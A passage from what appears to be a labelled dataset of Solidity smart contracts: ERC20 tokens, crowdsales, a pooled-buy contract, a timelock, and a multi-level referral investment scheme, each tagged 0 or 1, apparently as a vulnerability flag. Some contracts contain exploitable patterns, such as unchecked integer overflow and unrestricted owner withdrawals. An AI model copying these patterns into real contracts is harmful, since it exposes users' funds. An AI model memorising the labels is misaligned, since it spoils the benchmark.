uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract FiduxaCoin is MintableToken {
string public name = "FiduxaCoin";
string public symbol = "FDU";
uint8 public decimals = 18;
} | 1 |
pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract EpigenCareCrowdsale is Ownable {
using SafeMath for uint256;
StandardToken public token;
uint256 public startTime;
uint256 public endTime;
address public wallet;
address public tokenPool;
uint256 public rate;
uint256 public weiRaised;
uint256 public weiPending;
uint256 public tokensPending;
uint256 public minimumInvestment;
mapping (address => Transaction) transactions;
mapping (address => bool) approvedAddresses;
mapping (address => bool) verifiers;
struct Transaction { uint weiAmount; uint tokenAmount; }
event TokenPurchaseRequest(address indexed purchaser, address indexed beneficiary, uint256 value);
function EpigenCareCrowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet, address _tokenPool, address _token) Ownable() {
require(_endTime >= _startTime);
require(_rate > 0);
require(_wallet != 0x0);
require(_tokenPool != 0x0);
token = StandardToken(_token);
startTime = _startTime;
endTime = _endTime;
wallet = _wallet;
tokenPool = _tokenPool;
verifiers[msg.sender] = true;
rate = _rate;
minimumInvestment = 0.5 ether;
}
function () payable {
requestTokens(msg.sender);
}
function requestTokens(address beneficiary) sufficientApproval(msg.value) public payable {
require(beneficiary != 0x0);
require(validPurchase());
require(msg.value >= minimumInvestment);
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(rate);
if(approvedAddresses[beneficiary]) {
weiRaised = weiRaised.add(weiAmount);
token.transferFrom(tokenPool, beneficiary, tokens);
wallet.transfer(weiAmount);
} else {
Transaction transaction = transactions[beneficiary];
transaction.weiAmount = transaction.weiAmount.add(weiAmount);
transaction.tokenAmount = transaction.tokenAmount.add(tokens);
weiPending = weiPending.add(weiAmount);
tokensPending = tokensPending.add(tokens);
TokenPurchaseRequest(msg.sender, beneficiary, weiAmount);
}
}
function validateTransaction(address purchaser) onlyVerifiers(msg.sender) {
Transaction transaction = transactions[purchaser];
weiRaised = weiRaised.add(transaction.weiAmount);
weiPending = weiPending.sub(transaction.weiAmount);
tokensPending = tokensPending.sub(transaction.tokenAmount);
approvedAddresses[purchaser] = true;
token.transferFrom(tokenPool, purchaser, transaction.tokenAmount);
wallet.transfer(transaction.weiAmount);
transaction.weiAmount = 0;
transaction.tokenAmount = 0;
}
function pendingTransaction(address user) returns (uint value){
return transactions[user].weiAmount;
}
function revokeRequest() {
Transaction transaction = transactions[msg.sender];
weiPending = weiPending.sub(transaction.weiAmount);
tokensPending = tokensPending.sub(transaction.tokenAmount);
msg.sender.transfer(transaction.weiAmount);
transaction.weiAmount = 0;
transaction.tokenAmount = 0;
}
modifier sufficientApproval(uint value) {
uint tokensNeeded = tokensPending.add(value.mul(rate));
uint tokensAvailable = token.allowance(tokenPool, this);
require(tokensAvailable >= tokensNeeded);
_;
}
function rejectRequest(address user, uint fee) onlyVerifiers(msg.sender) {
Transaction transaction = transactions[user];
weiPending = weiPending.sub(transaction.weiAmount);
tokensPending = tokensPending.sub(transaction.tokenAmount);
if(fee > 0) {
transaction.weiAmount = transaction.weiAmount.sub(fee);
wallet.transfer(fee);
}
user.transfer(transaction.weiAmount);
transaction.weiAmount = 0;
transaction.tokenAmount = 0;
}
function validPurchase() internal constant returns (bool) {
bool withinPeriod = (now >= startTime && now <= endTime);
bool nonZeroPurchase = msg.value != 0;
return (withinPeriod && nonZeroPurchase);
}
function hasEnded() public constant returns (bool) {
return now > endTime;
}
function updateMinimumInvestment(uint _minimumInvestment) onlyOwner {
minimumInvestment = _minimumInvestment;
}
function updateRate(uint _rate) onlyOwner {
rate = _rate;
}
function setVerifier(address verifier, bool value) onlyOwner {
verifiers[verifier] = value;
}
function isValidated(address user) returns (bool) {
return approvedAddresses[user];
}
modifier onlyVerifiers(address sender) {
require(verifiers[sender]);
_;
}
} | 0 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 {
function transfer(address _to, uint256 _value) public returns (bool success);
function balanceOf(address _owner) public constant returns (uint256 balance);
}
contract Moongang {
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier minAmountReached {
require(this.balance >= SafeMath.div(SafeMath.mul(min_amount, 100), 99));
_;
}
modifier underMaxAmount {
require(max_amount == 0 || this.balance <= max_amount);
_;
}
uint256 constant FEE = 100;
uint256 constant FEE_DEV = 6;
address public owner;
address constant public developer = 0xEE06BdDafFA56a303718DE53A5bc347EfbE4C68f;
uint256 public individual_cap;
uint256 public max_amount;
uint256 public min_amount;
mapping (address => uint256) public balances;
mapping (address => uint256) public balances_bonus;
bool public bought_tokens;
uint256 public contract_eth_value;
uint256 public contract_eth_value_bonus;
bool public bonus_received;
address public sale;
ERC20 public token;
uint256 fees;
bool public allow_refunds;
uint256 public percent_reduction;
function Moongang(uint256 max, uint256 min, uint256 cap) {
owner = msg.sender;
max_amount = SafeMath.div(SafeMath.mul(max, 100), 99);
min_amount = min;
individual_cap = cap;
}
function buy_the_tokens() onlyOwner minAmountReached underMaxAmount {
require(!bought_tokens && sale != 0x0);
bought_tokens = true;
uint256 dev_fee = SafeMath.div(fees, FEE_DEV);
owner.transfer(SafeMath.sub(fees, dev_fee));
developer.transfer(dev_fee);
contract_eth_value = this.balance;
contract_eth_value_bonus = this.balance;
sale.transfer(contract_eth_value);
}
function force_refund(address _to_refund) onlyOwner {
require(!bought_tokens);
uint256 eth_to_withdraw = SafeMath.div(SafeMath.mul(balances[_to_refund], 100), 99);
balances[_to_refund] = 0;
balances_bonus[_to_refund] = 0;
fees = SafeMath.sub(fees, SafeMath.div(eth_to_withdraw, FEE));
_to_refund.transfer(eth_to_withdraw);
}
function force_partial_refund(address _to_refund) onlyOwner {
require(allow_refunds && percent_reduction > 0);
uint256 basic_amount = SafeMath.div(SafeMath.mul(balances[_to_refund], percent_reduction), 100);
uint256 eth_to_withdraw = basic_amount;
if (!bought_tokens) {
eth_to_withdraw = SafeMath.div(SafeMath.mul(basic_amount, 100), 99);
fees = SafeMath.sub(fees, SafeMath.div(eth_to_withdraw, FEE));
}
balances[_to_refund] = SafeMath.sub(balances[_to_refund], eth_to_withdraw);
balances_bonus[_to_refund] = balances[_to_refund];
_to_refund.transfer(eth_to_withdraw);
}
function set_sale_address(address _sale) onlyOwner {
require(_sale != 0x0);
sale = _sale;
}
function set_token_address(address _token) onlyOwner {
require(_token != 0x0);
token = ERC20(_token);
}
function set_bonus_received(bool _boolean) onlyOwner {
bonus_received = _boolean;
}
function set_allow_refunds(bool _boolean) onlyOwner {
allow_refunds = _boolean;
}
function set_percent_reduction(uint256 _reduction) onlyOwner {
require(_reduction <= 100);
percent_reduction = _reduction;
}
function change_individual_cap(uint256 _cap) onlyOwner {
individual_cap = _cap;
}
function change_owner(address new_owner) onlyOwner {
require(new_owner != 0x0);
owner = new_owner;
}
function change_max_amount(uint256 _amount) onlyOwner {
max_amount = SafeMath.div(SafeMath.mul(_amount, 100), 99);
}
function change_min_amount(uint256 _amount) onlyOwner {
min_amount = _amount;
}
function withdraw() {
require(bought_tokens);
uint256 contract_token_balance = token.balanceOf(address(this));
require(contract_token_balance != 0);
uint256 tokens_to_withdraw = SafeMath.div(SafeMath.mul(balances[msg.sender], contract_token_balance), contract_eth_value);
contract_eth_value = SafeMath.sub(contract_eth_value, balances[msg.sender]);
balances[msg.sender] = 0;
require(token.transfer(msg.sender, tokens_to_withdraw));
}
function withdraw_bonus() {
require(bought_tokens && bonus_received);
uint256 contract_token_balance = token.balanceOf(address(this));
require(contract_token_balance != 0);
uint256 tokens_to_withdraw = SafeMath.div(SafeMath.mul(balances_bonus[msg.sender], contract_token_balance), contract_eth_value_bonus);
contract_eth_value_bonus = SafeMath.sub(contract_eth_value_bonus, balances_bonus[msg.sender]);
balances_bonus[msg.sender] = 0;
require(token.transfer(msg.sender, tokens_to_withdraw));
}
function refund() {
require(!bought_tokens && allow_refunds && percent_reduction == 0);
uint256 eth_to_withdraw = SafeMath.div(SafeMath.mul(balances[msg.sender], 100), 99);
balances[msg.sender] = 0;
balances_bonus[msg.sender] = 0;
fees = SafeMath.sub(fees, SafeMath.div(eth_to_withdraw, FEE));
msg.sender.transfer(eth_to_withdraw);
}
function partial_refund() {
require(allow_refunds && percent_reduction > 0);
uint256 basic_amount = SafeMath.div(SafeMath.mul(balances[msg.sender], percent_reduction), 100);
uint256 eth_to_withdraw = basic_amount;
if (!bought_tokens) {
eth_to_withdraw = SafeMath.div(SafeMath.mul(basic_amount, 100), 99);
fees = SafeMath.sub(fees, SafeMath.div(eth_to_withdraw, FEE));
}
balances[msg.sender] = SafeMath.sub(balances[msg.sender], eth_to_withdraw);
balances_bonus[msg.sender] = balances[msg.sender];
msg.sender.transfer(eth_to_withdraw);
}
function () payable underMaxAmount {
require(!bought_tokens);
uint256 fee = SafeMath.div(msg.value, FEE);
fees = SafeMath.add(fees, fee);
balances[msg.sender] = SafeMath.add(balances[msg.sender], SafeMath.sub(msg.value, fee));
require(individual_cap == 0 || balances[msg.sender] <= individual_cap);
balances_bonus[msg.sender] = balances[msg.sender];
}
} | 0 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public{
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 29462400;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0xF815CE6c6F564b3C585b6081b0CC552439C32e40;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
} | 0 |
pragma solidity ^0.4.19;
contract Ownable {
address public owner = msg.sender;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] += _value;
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event Burn(address indexed burner, uint value);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply += _amount;
balances[_to] += _amount;
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function burn(address _addr, uint _amount) onlyOwner public {
require(_amount > 0 && balances[_addr] >= _amount && totalSupply >= _amount);
balances[_addr] -= _amount;
totalSupply -= _amount;
Burn(_addr, _amount);
Transfer(_addr, address(0), _amount);
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract WealthBuilderToken is MintableToken {
string public name = "Wealth Builder Token";
string public symbol = "WBT";
uint32 public decimals = 18;
uint public rate = 10**7;
uint public mrate = 10**7;
function setRate(uint _rate) onlyOwner public {
rate = _rate;
}
}
contract Data is Ownable {
mapping (address => address) private parent;
mapping (address => uint8) public statuses;
mapping (address => uint) public referralDeposits;
mapping(address => uint256) private balances;
mapping(address => uint256) private investorBalances;
function parentOf(address _addr) public constant returns (address) {
return parent[_addr];
}
function balanceOf(address _addr) public constant returns (uint256) {
return balances[_addr] / 1000000;
}
function investorBalanceOf(address _addr) public constant returns (uint256) {
return investorBalances[_addr] / 1000000;
}
function Data() public {
statuses[msg.sender] = 7;
}
function addBalance(address _addr, uint256 amount) onlyOwner public {
balances[_addr] += amount;
}
function subtrBalance(address _addr, uint256 amount) onlyOwner public {
require(balances[_addr] >= amount);
balances[_addr] -= amount;
}
function addInvestorBalance(address _addr, uint256 amount) onlyOwner public {
investorBalances[_addr] += amount;
}
function subtrInvestorBalance(address _addr, uint256 amount) onlyOwner public {
require(investorBalances[_addr] >= amount);
investorBalances[_addr] -= amount;
}
function addReferralDeposit(address _addr, uint256 amount) onlyOwner public {
referralDeposits[_addr] += amount;
}
function setStatus(address _addr, uint8 _status) onlyOwner public {
statuses[_addr] = _status;
}
function setParent(address _addr, address _parent) onlyOwner public {
parent[_addr] = _parent;
}
}
contract Declaration {
mapping (uint => uint8) statusThreshold;
mapping (uint8 => mapping (uint8 => uint)) feeDistribution;
uint[8] thresholds = [
0, 5000, 35000, 150000, 500000, 2500000, 5000000, 10000000
];
uint[5] referralFees = [50, 30, 20, 10, 5];
uint[5] serviceFees = [25, 20, 15, 10, 5];
function Declaration() public {
setFeeDistributionsAndStatusThresholds();
}
function setFeeDistributionsAndStatusThresholds() private {
setFeeDistributionAndStatusThreshold(0, [12, 8, 5, 2, 1], thresholds[0]);
setFeeDistributionAndStatusThreshold(1, [16, 10, 6, 3, 2], thresholds[1]);
setFeeDistributionAndStatusThreshold(2, [20, 12, 8, 4, 2], thresholds[2]);
setFeeDistributionAndStatusThreshold(3, [25, 15, 10, 5, 3], thresholds[3]);
setFeeDistributionAndStatusThreshold(4, [30, 18, 12, 6, 3], thresholds[4]);
setFeeDistributionAndStatusThreshold(5, [35, 21, 14, 7, 4], thresholds[5]);
setFeeDistributionAndStatusThreshold(6, [40, 24, 16, 8, 4], thresholds[6]);
setFeeDistributionAndStatusThreshold(7, [50, 30, 20, 10, 5], thresholds[7]);
}
function setFeeDistributionAndStatusThreshold(
uint8 _st,
uint8[5] _percentages,
uint _threshold
)
private
{
statusThreshold[_threshold] = _st;
for (uint8 i = 0; i < _percentages.length; i++) {
feeDistribution[_st][i] = _percentages[i];
}
}
}
contract Investors is Ownable {
address[] public investors;
mapping (address => uint) public investorPercentages;
function addInvestors(address[] _investors, uint[] _investorPercentages) onlyOwner public {
for (uint i = 0; i < _investors.length; i++) {
investors.push(_investors[i]);
investorPercentages[_investors[i]] = _investorPercentages[i];
}
}
function getInvestorsCount() public constant returns (uint) {
return investors.length;
}
function getInvestorsFee() public constant returns (uint8) {
if (now >= 1577836800) {
return 1;
}
if (now >= 1546300800) {
return 5;
}
return 10;
}
}
contract Referral is Declaration, Ownable {
using SafeMath for uint;
WealthBuilderToken private token;
Data private data;
Investors private investors;
uint public investorsBalance;
uint public ethUsdRate;
function Referral(uint _ethUsdRate, address _token, address _data, address _investors) public {
ethUsdRate = _ethUsdRate;
token = WealthBuilderToken(_token);
data = Data(_data);
investors = Investors(_investors);
investorsBalance = 0;
}
function() payable public {
}
function invest(address client, uint8 depositsCount) payable public {
uint amount = msg.value;
if (depositsCount < 5) {
uint serviceFee;
uint investorsFee = 0;
if (depositsCount == 0) {
uint8 investorsFeePercentage = investors.getInvestorsFee();
serviceFee = amount * (serviceFees[depositsCount].sub(investorsFeePercentage));
investorsFee = amount * investorsFeePercentage;
investorsBalance += investorsFee;
} else {
serviceFee = amount * serviceFees[depositsCount];
}
uint referralFee = amount * referralFees[depositsCount];
distribute(data.parentOf(client), 0, depositsCount, amount);
uint active = (amount * 100)
.sub(referralFee)
.sub(serviceFee)
.sub(investorsFee);
token.mint(client, active / 100 * token.rate() / token.mrate());
data.addBalance(owner, serviceFee * 10000);
} else {
token.mint(client, amount * token.rate() / token.mrate());
}
}
function distribute(
address _node,
uint _prevPercentage,
uint8 _depositsCount,
uint _amount
)
private
{
address node = _node;
uint prevPercentage = _prevPercentage;
while(node != address(0)) {
uint8 status = data.statuses(node);
uint nodePercentage = feeDistribution[status][_depositsCount];
uint percentage = nodePercentage.sub(prevPercentage);
data.addBalance(node, _amount * percentage * 10000);
data.addReferralDeposit(node, _amount * ethUsdRate / 10**18);
updateStatus(node, status);
node = data.parentOf(node);
prevPercentage = nodePercentage;
}
}
function updateStatus(address _node, uint8 _status) private {
uint refDep = data.referralDeposits(_node);
for (uint i = thresholds.length - 1; i > _status; i--) {
uint threshold = thresholds[i] * 100;
if (refDep >= threshold) {
data.setStatus(_node, statusThreshold[threshold]);
break;
}
}
}
function distributeInvestorsFee(uint start, uint end) onlyOwner public {
for (uint i = start; i < end; i++) {
address investor = investors.investors(i);
uint investorPercentage = investors.investorPercentages(investor);
data.addInvestorBalance(investor, investorsBalance * investorPercentage);
}
if (end == investors.getInvestorsCount()) {
investorsBalance = 0;
}
}
function setRate(uint _rate) onlyOwner public {
token.setRate(_rate);
}
function setEthUsdRate(uint _ethUsdRate) onlyOwner public {
ethUsdRate = _ethUsdRate;
}
function invite(
address _inviter,
address _invitee
)
public onlyOwner
{
data.setParent(_invitee, _inviter);
data.setStatus(_invitee, 0);
}
function setStatus(address _addr, uint8 _status) public onlyOwner {
data.setStatus(_addr, _status);
}
function setInvestors(address _addr) public onlyOwner {
investors = Investors(_addr);
}
function withdraw(address _addr, uint256 _amount, bool investor) public onlyOwner {
uint amount = investor ? data.investorBalanceOf(_addr)
: data.balanceOf(_addr);
require(amount >= _amount && this.balance >= _amount);
if (investor) {
data.subtrInvestorBalance(_addr, _amount * 1000000);
} else {
data.subtrBalance(_addr, _amount * 1000000);
}
_addr.transfer(_amount);
}
function withdrawOwner(address _addr, uint256 _amount) public onlyOwner {
require(this.balance >= _amount);
_addr.transfer(_amount);
}
function withdrawToken(address _addr, uint256 _amount) onlyOwner public {
token.burn(_addr, _amount);
uint256 etherValue = _amount * token.mrate() / token.rate();
_addr.transfer(etherValue);
}
function transferTokenOwnership(address _addr) onlyOwner public {
token.transferOwnership(_addr);
}
function transferDataOwnership(address _addr) onlyOwner public {
data.transferOwnership(_addr);
}
}
contract PChannel is Ownable {
Referral private refProgram;
uint private depositAmount = 5000000;
uint private maxDepositAmount =6250000;
mapping (address => uint8) private deposits;
function PChannel(address _refProgram) public {
refProgram = Referral(_refProgram);
}
function() payable public {
uint8 depositsCount = deposits[msg.sender];
if (depositsCount == 15) {
depositsCount = 0;
deposits[msg.sender] = 0;
}
uint amount = msg.value;
uint usdAmount = amount * refProgram.ethUsdRate() / 10**18;
require(usdAmount >= depositAmount && usdAmount <= maxDepositAmount);
refProgram.invest.value(amount)(msg.sender, depositsCount);
deposits[msg.sender]++;
}
function setRefProgram(address _addr) public onlyOwner {
refProgram = Referral(_addr);
}
} | 0 |
pragma solidity ^0.4.22;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function minus(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function plus(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Token {
uint256 public totalSupply;
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract TokenSafe {
using SafeMath for uint;
ERC20Token token;
struct Group {
uint256 releaseTimestamp;
uint256 remaining;
mapping (address => uint) balances;
}
mapping (uint8 => Group) public groups;
constructor(address _token) public {
token = ERC20Token(_token);
}
function init(uint8 _id, uint _releaseTimestamp) internal {
require(_releaseTimestamp > 0, "TokenSafe group release timestamp is not set");
Group storage group = groups[_id];
group.releaseTimestamp = _releaseTimestamp;
}
function add(uint8 _id, address _account, uint _balance) internal {
Group storage group = groups[_id];
group.balances[_account] = group.balances[_account].plus(_balance);
group.remaining = group.remaining.plus(_balance);
}
function release(uint8 _id, address _account) public {
Group storage group = groups[_id];
require(now >= group.releaseTimestamp, "Group funds are not released yet");
uint tokens = group.balances[_account];
require(tokens > 0, "The account is empty or non-existent");
group.balances[_account] = 0;
group.remaining = group.remaining.minus(tokens);
if (!token.transfer(_account, tokens)) {
revert("Token transfer failed");
}
}
}
contract StandardToken is ERC20Token {
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
constructor(string _name, string _symbol, uint8 _decimals) internal {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
function balanceOf(address _address) public view returns (uint256 balance) {
return balances[_address];
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
executeTransfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_value <= allowed[_from][msg.sender], "Insufficient allowance");
allowed[_from][msg.sender] = allowed[_from][msg.sender].minus(_value);
executeTransfer(_from, _to, _value);
return true;
}
function executeTransfer(address _from, address _to, uint256 _value) internal {
require(_to != address(0), "Invalid transfer to address zero");
require(_value <= balances[_from], "Insufficient account balance");
balances[_from] = balances[_from].minus(_value);
balances[_to] = balances[_to].plus(_value);
emit Transfer(_from, _to, _value);
}
}
contract MintableToken is StandardToken {
address public minter;
bool public mintingDisabled = false;
event MintingDisabled();
modifier canMint() {
require(!mintingDisabled, "Minting is disabled");
_;
}
modifier onlyMinter() {
require(msg.sender == minter, "Only the minter address can mint");
_;
}
constructor(address _minter) internal {
minter = _minter;
}
function mint(address _to, uint256 _value) public onlyMinter canMint {
totalSupply = totalSupply.plus(_value);
balances[_to] = balances[_to].plus(_value);
emit Transfer(0x0, _to, _value);
}
function disableMinting() public onlyMinter canMint {
mintingDisabled = true;
emit MintingDisabled();
}
}
contract HasOwner {
address public owner;
address public newOwner;
constructor(address _owner) public {
owner = _owner;
}
modifier onlyOwner {
require(msg.sender == owner, "Only owner can call this function");
_;
}
event OwnershipTransfer(address indexed _oldOwner, address indexed _newOwner);
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner, "Only the newOwner can accept ownership");
emit OwnershipTransfer(owner, newOwner);
owner = newOwner;
}
}
contract AbstractFundraiser {
ERC20Token public token;
event FundsReceived(address indexed _address, uint _ethers, uint _tokens);
function initializeFundraiserToken(address _token) internal
{
token = ERC20Token(_token);
}
function() public payable {
receiveFunds(msg.sender, msg.value);
}
function getConversionRate() public view returns (uint256);
function hasEnded() public view returns (bool);
